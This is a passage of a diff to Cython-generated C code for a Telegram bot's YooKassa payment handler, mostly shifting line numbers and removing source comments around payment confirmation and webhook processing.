__Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_status); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_4 = (__Pyx_PyUnicode_Equals(__pyx_t_10, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 174, __pyx_L1_error) + __pyx_t_4 = (__Pyx_PyUnicode_Equals(__pyx_t_10, __pyx_n_u_pending, Py_EQ)); if (unlikely((__pyx_t_4 < 0))) __PYX_ERR(0, 175, __pyx_L1_error) __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; if (__pyx_t_4) { - /* "handlers/payments/yookassa_pay.py":175 - * - * if payment["status"] == "pending": - * payment_url = payment["confirmation"]["confirmation_url"] # <<<<<<<<<<<<<< - * - * confirm_keyboard = InlineKeyboardMarkup( - */ - __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 175, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_Dict_GetItem(__pyx_cur_scope->__pyx_v_payment, __pyx_n_u_confirmation); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_Dict_GetItem(__pyx_t_10, __pyx_n_u_confirmation_url); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_payment_url = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":177 - * payment_url = payment["confirmation"]["confirmation_url"] - * - * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< - * inline_keyboard=[ - * [InlineKeyboardButton(text=PAY, url=payment_url)], - */ - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardMarkup); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/yookassa_pay.py":178 - * - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text=PAY, url=payment_url)], - * [InlineKeyboardButton(text=BACK, callback_data="pay")], - */ - __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); - /* "handlers/payments/yookassa_pay.py":179 - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ - * [InlineKeyboardButton(text=PAY, url=payment_url)], # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text=BACK, callback_data="pay")], - * ] - */ - __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_14, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 179, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_PAY); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 179, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_PAY); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 179, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_9) < 0) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 179, __pyx_L1_error) - __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 179, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_url, __pyx_cur_scope->__pyx_v_payment_url) < 0) __PYX_ERR(0, 180, __pyx_L1_error) + __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_14, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 179, __pyx_L1_error) + __pyx_t_2 = PyList_New(1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 180, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_9); - if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_9)) __PYX_ERR(0, 179, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_2, 0, __pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error); __pyx_t_9 = 0; - /* "handlers/payments/yookassa_pay.py":180 - * inline_keyboard=[ - * [InlineKeyboardButton(text=PAY, url=payment_url)], - * [InlineKeyboardButton(text=BACK, callback_data="pay")], # <<<<<<<<<<<<<< - * ] - * ) - */ - __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); - __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 180, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); - __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_BACK); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 180, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_15, __pyx_n_s_BACK); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); - if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_15) < 0) __PYX_ERR(0, 180, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_text, __pyx_t_15) < 0) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 180, __pyx_L1_error) - __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 180, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_14, __pyx_n_s_callback_data, __pyx_n_u_pay) < 0) __PYX_ERR(0, 181, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_9, __pyx_empty_tuple, __pyx_t_14); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - __pyx_t_14 = PyList_New(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 180, __pyx_L1_error) + __pyx_t_14 = PyList_New(1); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 181, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_GIVEREF(__pyx_t_15); - if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 0, __pyx_t_15)) __PYX_ERR(0, 180, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_14, 0, __pyx_t_15)) __PYX_ERR(0, 181, __pyx_L1_error); __pyx_t_15 = 0; - /* "handlers/payments/yookassa_pay.py":178 - * - * confirm_keyboard = InlineKeyboardMarkup( - * inline_keyboard=[ # <<<<<<<<<<<<<< - * [InlineKeyboardButton(text=PAY, url=payment_url)], - * [InlineKeyboardButton(text=BACK, callback_data="pay")], - */ - __pyx_t_15 = PyList_New(2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 178, __pyx_L1_error) + __pyx_t_15 = PyList_New(2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_GIVEREF(__pyx_t_2); - if (__Pyx_PyList_SET_ITEM(__pyx_t_15, 0, __pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_15, 0, __pyx_t_2)) __PYX_ERR(0, 179, __pyx_L1_error); __Pyx_GIVEREF(__pyx_t_14); - if (__Pyx_PyList_SET_ITEM(__pyx_t_15, 1, __pyx_t_14)) __PYX_ERR(0, 178, __pyx_L1_error); + if (__Pyx_PyList_SET_ITEM(__pyx_t_15, 1, __pyx_t_14)) __PYX_ERR(0, 179, __pyx_L1_error); __pyx_t_2 = 0; __pyx_t_14 = 0; - if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_inline_keyboard, __pyx_t_15) < 0) __PYX_ERR(0, 178, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_10, __pyx_n_s_inline_keyboard, __pyx_t_15) < 0) __PYX_ERR(0, 179, __pyx_L1_error) __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - /* "handlers/payments/yookassa_pay.py":177 - * payment_url = payment["confirmation"]["confirmation_url"] - * - * confirm_keyboard = InlineKeyboardMarkup( # <<<<<<<<<<<<<< - * inline_keyboard=[ - * [InlineKeyboardButton(text=PAY, url=payment_url)], - */ - __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 177, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_empty_tuple, __pyx_t_10); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -6384,29 +5807,15 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_cur_scope->__pyx_v_confirm_keyboard = __pyx_t_15; __pyx_t_15 = 0; - /* "handlers/payments/yookassa_pay.py":184 - * ) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} .", - * reply_markup=confirm_keyboard, - */ - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 184, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 184, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; - /* "handlers/payments/yookassa_pay.py":185 - * - * await callback_query.message.answer( - * text=f" {amount} .", # <<<<<<<<<<<<<< - * reply_markup=confirm_keyboard, - * ) - */ - __pyx_t_15 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_1 = PyTuple_New(3); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = 0; __pyx_t_12 = 127; @@ -6415,7 +5824,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_3 += 25; __Pyx_GIVEREF(__pyx_kp_u__8); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_kp_u__8); - __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_amount, __pyx_empty_unicode); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __pyx_t_12 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) > __pyx_t_12) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_14) : __pyx_t_12; __pyx_t_3 += __Pyx_PyUnicode_GET_LENGTH(__pyx_t_14); @@ -6427,29 +5836,15 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_t_3 += 8; __Pyx_GIVEREF(__pyx_kp_u__9); PyTuple_SET_ITEM(__pyx_t_1, 2, __pyx_kp_u__9); - __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 185, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyUnicode_Join(__pyx_t_1, 3, __pyx_t_3, __pyx_t_12); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - if (PyDict_SetItem(__pyx_t_15, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 185, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_15, __pyx_n_s_text, __pyx_t_14) < 0) __PYX_ERR(0, 186, __pyx_L1_error) __Pyx_DECREF(__pyx_t_14); __pyx_t_14 = 0; - /* "handlers/payments/yookassa_pay.py":186 - * await callback_query.message.answer( - * text=f" {amount} .", - * reply_markup=confirm_keyboard, # <<<<<<<<<<<<<< - * ) - * else: - */ - if (PyDict_SetItem(__pyx_t_15, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 185, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_15, __pyx_n_s_reply_markup, __pyx_cur_scope->__pyx_v_confirm_keyboard) < 0) __PYX_ERR(0, 186, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":184 - * ) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=f" {amount} .", - * reply_markup=confirm_keyboard, - */ - __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_15); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 184, __pyx_L1_error) + __pyx_t_14 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_15); if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; @@ -6464,36 +5859,22 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_generator->resume_label = 3; return __pyx_r; __pyx_L16_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 184, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 185, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 184, __pyx_L1_error) + else __PYX_ERR(0, 185, __pyx_L1_error) } } - /* "handlers/payments/yookassa_pay.py":174 - * ) - * - * if payment["status"] == "pending": # <<<<<<<<<<<<<< - * payment_url = payment["confirmation"]["confirmation_url"] - * - */ goto __pyx_L15; } - /* "handlers/payments/yookassa_pay.py":189 - * ) - * else: - * await callback_query.message.answer(" .") # <<<<<<<<<<<<<< - * - * - */ /*else*/ { - __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_t_15 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_15)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_15); - __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 189, __pyx_L1_error) + __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_15, __pyx_n_s_answer); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_15); __pyx_t_15 = 0; __pyx_t_15 = NULL; @@ -6514,7 +5895,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_15, __pyx_kp_u__10}; __pyx_t_14 = __Pyx_PyObject_FastCall(__pyx_t_10, __pyx_callargs+1-__pyx_t_11, 1+__pyx_t_11); __Pyx_XDECREF(__pyx_t_15); __pyx_t_15 = 0; - if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 189, __pyx_L1_error) + if (unlikely(!__pyx_t_14)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_14); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; } @@ -6529,25 +5910,18 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C __pyx_generator->resume_label = 4; return __pyx_r; __pyx_L17_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 189, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 190, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 189, __pyx_L1_error) + else __PYX_ERR(0, 190, __pyx_L1_error) } } } __pyx_L15:; CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/yookassa_pay.py":118 - * - * - * @router.callback_query(F.data.startswith("yookassa_amount|")) # <<<<<<<<<<<<<< - * async def process_amount_selection( - * callback_query: types.CallbackQuery, state: FSMContext - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -6574,13 +5948,6 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_5generator1(__pyx_C } static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/yookassa_pay.py":192 - * - * - * async def yookassa_webhook(request): # <<<<<<<<<<<<<< - * """ - * Yookassa . - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_12yookassa_pay_7yookassa_webhook(PyObject *__pyx_self, @@ -6636,12 +6003,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 192, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 193, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yookassa_webhook") < 0)) __PYX_ERR(0, 192, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "yookassa_webhook") < 0)) __PYX_ERR(0, 193, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -6652,7 +6019,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("yookassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 192, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("yookassa_webhook", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 193, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -6691,7 +6058,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(C if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_12yookassa_pay___pyx_scope_struct_2_yookassa_webhook *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 192, __pyx_L1_error) + __PYX_ERR(0, 193, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -6699,7 +6066,7 @@ static PyObject *__pyx_pf_8handlers_8payments_12yookassa_pay_6yookassa_webhook(C __Pyx_INCREF(__pyx_cur_scope->__pyx_v_request); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_request); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_8generator2, __pyx_codeobj__11, (PyObject *) __pyx_cur_scope, __pyx_n_s_yookassa_webhook, __pyx_n_s_yookassa_webhook, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 192, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_12yookassa_pay_8generator2, __pyx_codeobj__11, (PyObject *) __pyx_cur_scope, __pyx_n_s_yookassa_webhook, __pyx_n_s_yookassa_webhook, __pyx_n_s_handlers_payments_yookassa_pay); if (unlikely(!gen)) __PYX_ERR(0, 193, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -6736,8 +6103,8 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C Py_ssize_t __pyx_t_15; Py_UCS4 __pyx_t_16; PyObject *__pyx_t_17 = NULL; - int __pyx_t_18; - PyObject *__pyx_t_19 = NULL; + PyObject *__pyx_t_18 = NULL; + int __pyx_t_19; PyObject *__pyx_t_20 = NULL; int __pyx_t_21; char const *__pyx_t_22; @@ -6757,24 +6124,14 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C switch (__pyx_generator->resume_label) { case 0: goto __pyx_L3_first_run; case 1: goto __pyx_L4_resume_from_await; - case 2: goto __pyx_L21_resume_from_await; - case 3: goto __pyx_L22_resume_from_await; - case 4: goto __pyx_L23_resume_from_await; default: /* CPython raises the right error here */ __Pyx_RefNannyFinishContext(); return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 192, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 193, __pyx_L1_error) - /* "handlers/payments/yookassa_pay.py":196 - * Yookassa . - * """ - * event = await request.json() # <<<<<<<<<<<<<< - * logger.info(f"Webhook event received: {event}") - * - */ - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 196, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_request, __pyx_n_s_json); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -6794,7 +6151,7 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 196, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -6809,32 +6166,25 @@ static PyObject *__pyx_gb_8handlers_8payments_12yookassa_pay_8generator2(__pyx_C __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 196, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 197, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 196, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 197, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_event = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/yookassa_pay.py":197 - * """ - * event = await request.json() - * logger.info(f"Webhook event received: {event}") # <<<<<<<<<<<<<< - * - * payment_object = event.get("object", {}) - */ - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 197, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 197, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_info); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 198, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_event, __pyx_empty_unicode); if (unlikely(!__pyx_t_2)) 